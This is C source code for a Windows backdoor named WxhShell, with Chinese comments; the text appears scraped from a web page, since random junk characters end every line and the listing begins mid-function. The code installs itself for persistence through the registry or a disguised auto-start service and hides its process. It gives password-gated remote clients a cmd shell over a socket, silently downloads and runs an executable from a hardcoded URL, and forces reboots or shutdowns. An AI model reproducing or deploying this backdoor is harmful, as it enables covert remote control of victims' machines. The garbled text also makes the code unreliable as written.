    send(wsh,msg_ws_err,strlen(msg_ws_err),0); moE2G?R  
    else { eJX#@`K  
    closesocket(wsh); !'O@2{?B  
    ExitThread(0); C_Wc5{  
    } D m9sL!  
    break; X wtqi@zlE  
    } h yIV.W/  
  // 获取shell phz&zl D  
  case 's': { .S4u-  
    CmdShell(wsh); oL<St$1  
    closesocket(wsh); |[y6Ua0  
    ExitThread(0); dF2RH)Ud  
    break; +H2Qk4XFB  
  } 4Po_-4  
  // 退出 C9;kpqNG#u  
  case 'x': { ,"ql5Q4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *z2s$EZ  
    CloseIt(wsh); *lb<$E]="!  
    break; Q59W#e)  
    } t$ *0{w E  
  // 离开 @o.I;}*N  
  case 'q': { )pn3~t<e d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T]$U""  
    closesocket(wsh); A%-6`>  
    WSACleanup(); `$NP> %J-  
    exit(1); ?h2}#wg  
    break; 8;X-)&R  
        } y+q5UC|  
  } WEpoBP CL  
  } V43H /hl  
)`}:8y?  
  // 提示信息 y+;|Fz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xN(|A}w  
} !!y a  
  }  .wr>]yN  
nj4/#W  
  return; h `wD  
} i6N',&jFU  
-$@h1Y  
// shell模块句柄 j|Q-*]V  
int CmdShell(SOCKET sock) C7?/%7{  
{ :Q q#Z  
STARTUPINFO si; }1xo-mUg,  
ZeroMemory(&si,sizeof(si)); ?fS9J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^C%<l( b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Og+c%  
PROCESS_INFORMATION ProcessInfo; B-ESFATc  
char cmdline[]="cmd"; cj@koA'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DL.!G  
  return 0; 'f|o{  
} L rPkxmR  
y?!"6t7&  
// 自身启动模式 T 1t6p&  
int StartFromService(void) J^/p(  
{ G / 5%.Bf@  
typedef struct ^}C\zW  
{ SY8C4vb'h  
  DWORD ExitStatus; B\n[.(].r  
  DWORD PebBaseAddress; F5#YOck&,  
  DWORD AffinityMask; H:\k}*w  
  DWORD BasePriority; "h ^Z  
  ULONG UniqueProcessId; aN=B]{!  
  ULONG InheritedFromUniqueProcessId; r%N)bNk~  
}   PROCESS_BASIC_INFORMATION; tI{_y  
@lt#Nz  
PROCNTQSIP NtQueryInformationProcess; 1nOCQ\$l  
/Q )\+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3ANQaUC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A(N4N  
\di=  
  HANDLE             hProcess; R GX=)  
  PROCESS_BASIC_INFORMATION pbi; c"xK`%e  
UZ$/Ni  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E!AE4B1bd  
  if(NULL == hInst ) return 0; c:g'.'/*  
u2[w#   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kNL\m[W8$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {y;n:^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4`R(?  
_tXlF;  
  if (!NtQueryInformationProcess) return 0; %%wNZ{  
*9i{,I@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |WUG}G")*x  
  if(!hProcess) return 0; s9d_GhT%-  
4Xv*wB1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KY N0  
IIqUZJ  
  CloseHandle(hProcess); D sWS Gb  
D,ln)["xm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q3SS/eNP  
if(hProcess==NULL) return 0; Y4(  
K4);HJ|=  
HMODULE hMod; w`=\5Oa.G  
char procName[255]; MJrR[h]  
unsigned long cbNeeded; 'P}0FktP`  
(4EI-e*6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3yXY.>'  
k$7Jj-+~  
  CloseHandle(hProcess); {}Za_(Y,]  
s|ITsz0,td  
if(strstr(procName,"services")) return 1; // 以服务启动 b_):MQ1{  
xP,hTE  
  return 0; // 注册表启动 jNy.Y8E&  
} V470C@  
+t;7tQDVB  
// 主模块 Xs?o{]Fe  
int StartWxhshell(LPSTR lpCmdLine) "wHFN>5B  
{ 8e|%M  
  SOCKET wsl; :a)u&g@G  
BOOL val=TRUE; H7j0K~U0  
  int port=0; 4a]P7fx-  
  struct sockaddr_in door; &! ?eL  
<"|,"hA  
  if(wscfg.ws_autoins) Install(); GM<-&s!Uj  
Wxe0IXq3Nn  
port=atoi(lpCmdLine); e 3TI|e_  
&8 x-o,  
if(port<=0) port=wscfg.ws_port; BVO<e \>3  
K96<M);:g  
  WSADATA data; !0cD$^7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "-J -k=  
?I@W:#>o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r0gJpttDl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >e"#'K0?\  
  door.sin_family = AF_INET; YUIi;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @|%2f@h  
  door.sin_port = htons(port); '08=yqy4N  
I 2|Bg,e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^v`\x5"Vp  
closesocket(wsl); 6i~WcAs  
return 1; <A'$%`6m  
} $p?aVO  
{!dVDf_  
  if(listen(wsl,2) == INVALID_SOCKET) { !I Qck8Y  
closesocket(wsl); Y.r+wc]  
return 1; h2""9aP !  
} 5[u]E~Fl}  
  Wxhshell(wsl); ,WB{i^TD  
  WSACleanup(); (*)hD(C5  
hfy_3}_  
return 0; b%/ 1$>_  
{jX2}  
} Per1IcN  
>J>[& zS  
// 以NT服务方式启动 %-0t?/>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;BIY^6,7e  
{ .h4 \Y A  
DWORD   status = 0; w: Kl6"c  
  DWORD   specificError = 0xfffffff; q#=(e:aCb  
5N&?KA-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J~UuS+Ufv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tyf`j,=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Eg3q!J&Z  
  serviceStatus.dwWin32ExitCode     = 0; C-[eaHJ'$  
  serviceStatus.dwServiceSpecificExitCode = 0; 'ub@]ru|  
  serviceStatus.dwCheckPoint       = 0; $'hEz/  
  serviceStatus.dwWaitHint       = 0; :A'y+MnK<  
=zKM=qba  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =$Nq   
  if (hServiceStatusHandle==0) return; e;}7G  
q(2'\ _`u  
status = GetLastError(); nK%LRcAs  
  if (status!=NO_ERROR) R[x_j  
{ 4Ic*9t3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~1vDV>dpE  
    serviceStatus.dwCheckPoint       = 0; C&rkvM8  
    serviceStatus.dwWaitHint       = 0;  O+Y6N  
    serviceStatus.dwWin32ExitCode     = status; EA]U50L(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1Z~FCJz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lv+TD!b   
    return; [e}]}t8m  
  } (c &mCJN  
sI^Xb@'09$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K}MK<2vU  
  serviceStatus.dwCheckPoint       = 0; <;Zmjeb+#  
  serviceStatus.dwWaitHint       = 0; BeoDKdAwY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JHTSUq  
} Hn+~5@.  
!NvI:C_4|  
// 处理NT服务事件,比如:启动、停止 l3I:Q^x@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r:ptQo`1-  
{ >_"an~Ss  
switch(fdwControl) $6iX   
{ 2)HuZda  
case SERVICE_CONTROL_STOP: D!-g&HBTC  
  serviceStatus.dwWin32ExitCode = 0; V/I<g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ks`J([(W&  
  serviceStatus.dwCheckPoint   = 0; ]>nk"K!%  
  serviceStatus.dwWaitHint     = 0; p xa*'h"b^  
  { PKg@[<g43  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EVC]sUT  
  } ~;{; ,8!)  
  return; 54R#W:t  
case SERVICE_CONTROL_PAUSE: .Od !0(0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 65$+{s  
  break; *VhL\IjN]  
case SERVICE_CONTROL_CONTINUE: MJ [m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "Nbq#w\  
  break; #-i>;Rt  
case SERVICE_CONTROL_INTERROGATE: UIN<2F_  
  break; ]{mPh\  
}; !/i{l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9c,'k#k  
} =QiI :|eRA  
mQ 26K~  
// 标准应用程序主函数 (b-MMr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c>:wd@w  
{ 9} M?P  
Hp!-248S  
// 获取操作系统版本 k],Q9  
OsIsNt=GetOsVer(); rgtT~$S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =BAW[%1b  
ryUQU^v  
  // 从命令行安装 ,,Q O^j]4~  
  if(strpbrk(lpCmdLine,"iI")) Install(); jc[Y}gd,  
J({Xg?  
  // 下载执行文件 vJc-6EO  
if(wscfg.ws_downexe) { 'RYIW/a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `1{ZqRFQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); MSqVlj  
} q"sed]  
-g Sa_8R  
if(!OsIsNt) { >kDQkhZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 dkBIx$t  
HideProc(); 1.{z3_S21:  
StartWxhshell(lpCmdLine); {|_M # w~&  
} *>'V1b4}  
else Yz"#^j}Kg  
  if(StartFromService()) })8N5C+KU  
  // 以服务方式启动 vB|hZTW  
  StartServiceCtrlDispatcher(DispatchTable); aPfO$b:  
else J1RJ*mo7,  
  // 普通方式启动 J76kkW`5  
  StartWxhshell(lpCmdLine); QIvVcfM^  
{e9@-  
return 0; JZ*/,|1}EC  
} ju8q?Nyhs  
bj0G5dc=  
A_ N;   
0c'<3@39k|  
=========================================== KNpl:g3{<Q  
yyRiP|hJ  
Ln<`E|[29  
=eXU@B  
Yi+wC}   
`nv~NLkl  
" OXSmt DvJ  
1;r|g)VM  
#include <stdio.h> [-k  
#include <string.h> m^f0V2M_  
#include <windows.h> (%e .:W${  
#include <winsock2.h> 2 %@4]  
#include <winsvc.h> ukfQe }I  
#include <urlmon.h> ag#S6E^%S  
8Pn#+IvCE  
#pragma comment (lib, "Ws2_32.lib") %x{kc3PnO  
#pragma comment (lib, "urlmon.lib") m=A(NKZ   
>G*eNn  
#define MAX_USER   100 // 最大客户端连接数 kmsb hYM)  
#define BUF_SOCK   200 // sock buffer I{9QeR I  
#define KEY_BUFF   255 // 输入 buffer >WQMqQ^t@  
Mxsa-?R;v  
#define REBOOT     0   // 重启 k,E{C{^M  
#define SHUTDOWN   1   // 关机 EZy)A$|  
\fyRsa)  
#define DEF_PORT   5000 // 监听端口 N~d?WD\^  
ceh j;  
#define REG_LEN     16   // 注册表键长度 "9P>a=Y  
#define SVC_LEN     80   // NT服务名长度 \y)rt )  
{ MSkHf=  
// 从dll定义API |\<`Ib4j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~'iHo]9O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !N7s dY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J^nBdofP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8# >op6^  
F2dHH^  
// wxhshell配置信息 $@Rxrx_@M  
struct WSCFG { rEnQYz  
  int ws_port;         // 监听端口 U;V7 u/{  
  char ws_passstr[REG_LEN]; // 口令 lL3kh J:%  
  int ws_autoins;       // 安装标记, 1=yes 0=no uK#4(eY=W  
  char ws_regname[REG_LEN]; // 注册表键名 8'.Hyy@;  
  char ws_svcname[REG_LEN]; // 服务名 ?'#` nx(!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !M]uL&:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `H_3Uc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $L>@Ed<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >#;.n(y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?WUA`/[z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c74.< @w  
`d +Da=L  
}; YTX,cj#D^&  
kg~mgMR+w  
// default Wxhshell configuration L9 \1+rq  
struct WSCFG wscfg={DEF_PORT, FLCexlv^  
    "xuhuanlingzhe", \H~T>j{N  
    1, axRV:w;E<  
    "Wxhshell", FQ2  
    "Wxhshell", a %'the  
            "WxhShell Service", _AYK435>N  
    "Wrsky Windows CmdShell Service", TJpD{p}  
    "Please Input Your Password: ", Xy&A~F  
  1, %~JJ.&  
  "http://www.wrsky.com/wxhshell.exe", 2c,9e`  
  "Wxhshell.exe" B5VKs,g  
    }; Gg3,:A_ w  
y$F'(b| )  
// 消息定义模块 gX}8#O.K$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <#y[gTJ<'>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 88gM?G _X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BB$>h}  
char *msg_ws_ext="\n\rExit."; d>&,9c%  
char *msg_ws_end="\n\rQuit."; #m<nAR  
char *msg_ws_boot="\n\rReboot..."; kr5">"7  
char *msg_ws_poff="\n\rShutdown..."; Z{Qu<vy_  
char *msg_ws_down="\n\rSave to "; Y3cMC)  
hh)`645=x  
char *msg_ws_err="\n\rErr!"; B6nX$T4zP  
char *msg_ws_ok="\n\rOK!"; fZzoAzfv2  
|&nS|2.'  
char ExeFile[MAX_PATH]; qIE9$7*X  
int nUser = 0; V/LLaZ TE  
HANDLE handles[MAX_USER]; [M}{G5U.  
int OsIsNt; '8. r-`l(  
/?'FE 7Y  
SERVICE_STATUS       serviceStatus; #7 $ H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mh{d8<Q2  
/P3 <"?#k  
// 函数声明 R)( T^V`{  
int Install(void); :WS@=sZN  
int Uninstall(void); B =T'5&  
int DownloadFile(char *sURL, SOCKET wsh); >`mVY=H i  
int Boot(int flag); L>&t|T2  
void HideProc(void); D~fl JR  
int GetOsVer(void); b-?gw64#  
int Wxhshell(SOCKET wsl); sPQQ"|wU  
void TalkWithClient(void *cs); ) 0W{]2  
int CmdShell(SOCKET sock); xJvmhN/c  
int StartFromService(void); L>NL:68yN  
int StartWxhshell(LPSTR lpCmdLine); EHIF>@TZ  
wn, KY$/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qzLPw*;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SC!RbW@3  
 #ut  
// 数据结构和表定义 AW'0,b`v  
SERVICE_TABLE_ENTRY DispatchTable[] = 7~% ?#  
{ 3`|@H-c9  
{wscfg.ws_svcname, NTServiceMain}, G1tY)_-8[  
{NULL, NULL} 0c]/bs{}  
}; N7QK> "a  
,vawzq[oSy  
// 自我安装 "'.UU$]d  
int Install(void) Z'W =\rl  
{ "1*:JVG  
  char svExeFile[MAX_PATH]; o]_dJB  
  HKEY key; vjCu4+w($Z  
  strcpy(svExeFile,ExeFile); oj<gD  
$am$ EU?s  
// 如果是win9x系统,修改注册表设为自启动 t!X. |`h  
if(!OsIsNt) { :zbQD8jv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hqx-~hQO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KYhwOGN  
  RegCloseKey(key); b<ZIWfs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PO^ij2eS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '<xXK@=KEI  
  RegCloseKey(key); 2r4Uh1D~  
  return 0; 6=/F$|  
    } A#<?4&  
  }  -p-ZzgQ  
} cn3\kT*  
else { 'n]w"]|  
jo@6?( *4  
// 如果是NT以上系统,安装为系统服务 F6|]4H.3Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2tEkj=fA-  
if (schSCManager!=0) [Ek7b *  
{ M `M5'f  
  SC_HANDLE schService = CreateService ZzpUUH/r  
  ( :#ik. D  
  schSCManager, ^|>PA:%  
  wscfg.ws_svcname, n\D&!y[]F  
  wscfg.ws_svcdisp, vX"*4m>b?+  
  SERVICE_ALL_ACCESS, n\'4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yYYSeH  
  SERVICE_AUTO_START, E GS)b  
  SERVICE_ERROR_NORMAL, (gU!=F?#m  
  svExeFile, T/~f~Zz  
  NULL, Bahm]2  
  NULL, |F[+k e  
  NULL, KqJs?Won  
  NULL, 50wulGJud  
  NULL 9>/4W.  
  ); #x60xz  
  if (schService!=0) w3_>VIZJl  
  { pa3{8x{9m  
  CloseServiceHandle(schService); QO~P7r|A  
  CloseServiceHandle(schSCManager); uyWunpT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2- h{N  
  strcat(svExeFile,wscfg.ws_svcname); qgHWUwr+n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AKfDXy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8MtGlW%Eh  
  RegCloseKey(key); "m8^zg hL  
  return 0; @n /nH?L  
    } ~jk|4`I?T  
  } tw/dD +  
  CloseServiceHandle(schSCManager); /Iokf@5  
} o#Dk& cH  
} ()?(I?II  
`UaD6Mc<Mz  
return 1; +GN(Ug'R  
} `HSKQ52  
_6hQ %hv8  
// 自我卸载 ;`{H!w[D  
int Uninstall(void) 'GWN~5  
{ |aS.a&vwR  
  HKEY key; b. '-?Nn  
P3=G1=47U  
if(!OsIsNt) { s 5Qcl;}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4E+e}\r:6  
  RegDeleteValue(key,wscfg.ws_regname); bsli0FJSh'  
  RegCloseKey(key); V)k4:H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pYEMmZ?L  
  RegDeleteValue(key,wscfg.ws_regname); |syR6(U}  
  RegCloseKey(key); .`H5cuF`  
  return 0; lrE5^;/s1  
  } GL}]y -f  
} ec;o\erPG  
} }R2u@%n{  
else { J]'zIOQ  
^uc=f2=>,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ge@{_  
if (schSCManager!=0) `/+>a8  
{ \*?~Yj #  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ic<2QknmP  
  if (schService!=0) Wvh#:Z  
  { ebhXak[w  
  if(DeleteService(schService)!=0) { u&vf+6=9Dd  
  CloseServiceHandle(schService); Hvi49c]]  
  CloseServiceHandle(schSCManager); 2l'6.  
  return 0; jB2[(  
  } v{4$D~I  
  CloseServiceHandle(schService);  K5h  
  } t =iIY`Md%  
  CloseServiceHandle(schSCManager); H%td hu\e  
} (%6P0*  
} g$-PR37(  
9.-S(ZO  
return 1; t3_O H^  
} 0#hlsfc]\  
$h"\N$iSq  
// 从指定url下载文件 9cF[seE"0  
int DownloadFile(char *sURL, SOCKET wsh) 8TKnL\aar  
{  V}CG:9;  
  HRESULT hr; cuI TY^6  
char seps[]= "/"; _TZRVa_  
char *token; h438`  
char *file;  mq.`X:e  
char myURL[MAX_PATH]; C< tl/NC  
char myFILE[MAX_PATH]; dZ@63a>>@  
{JT&w6Jz  
strcpy(myURL,sURL); f8dB-FlMm  
  token=strtok(myURL,seps); &p@O _0nF  
  while(token!=NULL) qEOhwrh  
  { Yj49t_$b  
    file=token; qyTU8Wp  
  token=strtok(NULL,seps); 03Ycf'W  
  } (L&d!$,Dv  
bI1N@=  
GetCurrentDirectory(MAX_PATH,myFILE); {!L~@r  
strcat(myFILE, "\\"); /([kh~a  
strcat(myFILE, file); Lqa4Vi  
  send(wsh,myFILE,strlen(myFILE),0); #;yZ  
send(wsh,"...",3,0); =; Ff4aF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N4!O.POP  
  if(hr==S_OK) Ti5-6%~&  
return 0; 6 H$FhJF  
else -Q*gW2KmV  
return 1; O^ yG?b  
24eLB? H  
} I\ob7X'Xu!  
4D4j7  
// 系统电源模块 Y:[u1~a  
int Boot(int flag) ~$^XP.a.  
{ }Sv:`9=  
  HANDLE hToken; T0)@pt7>  
  TOKEN_PRIVILEGES tkp; DTL.Bsc-.  
~f98#43  
  if(OsIsNt) { kl:Bfs)b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /U9"wvg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f]CXu3w(J  
    tkp.PrivilegeCount = 1; VTE .^EK!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wmLs/:~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YS0<qSN  
if(flag==REBOOT) { } q8ASYNc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4tBYR9|  
  return 0;  =7eV/3  
} 8d'0N  
else { W'TZ%K) I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f-Z/t fC  
  return 0; 26h21Z16q  
} eSq.GtI  
  } b \2 ds,  
  else { ~4'$yWG  
if(flag==REBOOT) { I!K6o.|1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3!]rmZ-W  
  return 0; xA*<0O\V  
} > ~O.@|  
else { tWc Hb #  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VOLj>w  
  return 0; gPPkT"  
} WNtW|I V  
} ww1[rCh\+  
]/L0,^RI  
return 1; [7y]n;Fy  
} 8":Q)9;%  
SmO~,2=  
// win9x进程隐藏模块 K}Qa~_  
void HideProc(void) w}L[u r;I_  
{ S f# R0SA  
<a3 WKw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "w<#^d_6  
  if ( hKernel != NULL ) R:qW;n%AF  
  { ZN0P:==  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~P-mC@C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w7L) '9  
    FreeLibrary(hKernel); p!%pP}I  
  } G3T]`Atf  
|[8Th4*n  
return; 9\(| D#  
} Q3?F(ER@  
p]c%f 2E>d  
// 获取操作系统版本 ;O,jUiQ  
int GetOsVer(void) hhvyf^o   
{ 4*;MJ[|  
  OSVERSIONINFO winfo; f$QNg0v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v3>UV8c'  
  GetVersionEx(&winfo); JucY[`|JV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y@yD5$/  
  return 1; 8&dF  
  else \9EjClf o  
  return 0; E]r?{t`]  
} w0unS`\4  
|R:'\+E  
// 客户端句柄模块 wMN]~|z>  
int Wxhshell(SOCKET wsl) &K,i f  
{ R4d=S4 i  
  SOCKET wsh; Tlr v={  
  struct sockaddr_in client; uB?ZcF}Tk  
  DWORD myID; "0TZTa1e  
!;'=iNOYR  
  while(nUser<MAX_USER) uyx 2;f  
{ W2!+z{:m  
  int nSize=sizeof(client); A3*!"3nU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X@FN|Rdh  
  if(wsh==INVALID_SOCKET) return 1; 8 Fbo3  
hi[pVk~B)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <~=Vg  
if(handles[nUser]==0) Flb&B1  
  closesocket(wsh); xgtR6E^k  
else yB6?`3A:  
  nUser++; -UT}/:a  
  } O#r%>;3*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;dhQN }7  
&%Tj/Qx  
  return 0; `M6)f?|$.  
} cB&:z)i4  
zbPqYhJzA  
// 关闭 socket RD&PDXT4  
void CloseIt(SOCKET wsh) Z3!`J&  
{ -s/ea~=R  
closesocket(wsh); u]@['7  
nUser--; FVBYo%Ap  
ExitThread(0); x,Vr=FB  
} ovV'VcUs  
RG`1en  
// 客户端请求句柄 FN73+-:n:j  
void TalkWithClient(void *cs) i}?>g-(  
{ Y<8vw d  
*{{89E>wC  
  SOCKET wsh=(SOCKET)cs; vvOV2n .WD  
  char pwd[SVC_LEN]; B>.qd  
  char cmd[KEY_BUFF]; zx7{U8*`<  
char chr[1]; &kw@,];4Z  
int i,j; cM7[_*Ot<m  
rrv%~giU  
  while (nUser < MAX_USER) { [0 e_*  
[ikOb8 G#  
if(wscfg.ws_passstr) { xId.GWY1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rx}Gz$   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vr^qWn  
  //ZeroMemory(pwd,KEY_BUFF); ,Y48[_ymm  
      i=0; Du){rVY^d  
  while(i<SVC_LEN) { sx<%2  
%~S&AE-  
  // 设置超时 PFK  '$  
  fd_set FdRead; n(]-y@X0_  
  struct timeval TimeOut; ;*&-C9b  
  FD_ZERO(&FdRead); Yz<1 wt7;  
  FD_SET(wsh,&FdRead); @s^-.z  
  TimeOut.tv_sec=8; RpYERAgT  
  TimeOut.tv_usec=0; o _H`o&xr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @\I#^X5lv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rws3V"{`[  
-Y;3I00(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *uvQ\.  
  pwd=chr[0]; Xn\jO>[Ef  
  if(chr[0]==0xd || chr[0]==0xa) { #R RRu2  
  pwd=0; >lM l  
  break; &jr3B;g!C  
  } & ZB  
  i++; 1ZRT:N<-  
    } ;jTN | i'  
9~YMyg(Z  
  // 如果是非法用户,关闭 socket O|UC ?]6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {FTqu.  
} @xZR9Z8]L  
RCLeA=/N@0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~^b/(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u> / TE  
\5cpFj5%  
while(1) { n{SJ_S#a.a  
A. w:h;7  
  ZeroMemory(cmd,KEY_BUFF); 5E_YEBO/  
2dgd~   
      // 自动支持客户端 telnet标准   4nz35BLr  
  j=0; C2)2)  
  while(j<KEY_BUFF) { YT8F#t8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c6/=Gq{.  
  cmd[j]=chr[0]; sUm'  
  if(chr[0]==0xa || chr[0]==0xd) { 7T'B6`-Ox  
  cmd[j]=0; r!{Up7uL  
  break; FU<Jp3<%  
  } 7vj2 `+r.  
  j++; dGTsc/$  
    } :p6M=  
/vb`H>P  
  // 下载文件 -s'-eQF J  
  if(strstr(cmd,"http://")) { mlS$>O_aX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?b5 ^  
  if(DownloadFile(cmd,wsh)) !$>R j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nl(Foya%)  
  else VOh4#%Vj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9@)O_@=  
  } ##4HYQ%E  
  else { Mh 7DV  
w.-!UD9/.x  
    switch(cmd[0]) { *G 9V'9  
  k+l b@!  
  // 帮助 9k[9P;"F:  
  case '?': { 8qu6.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n@[O|?S  
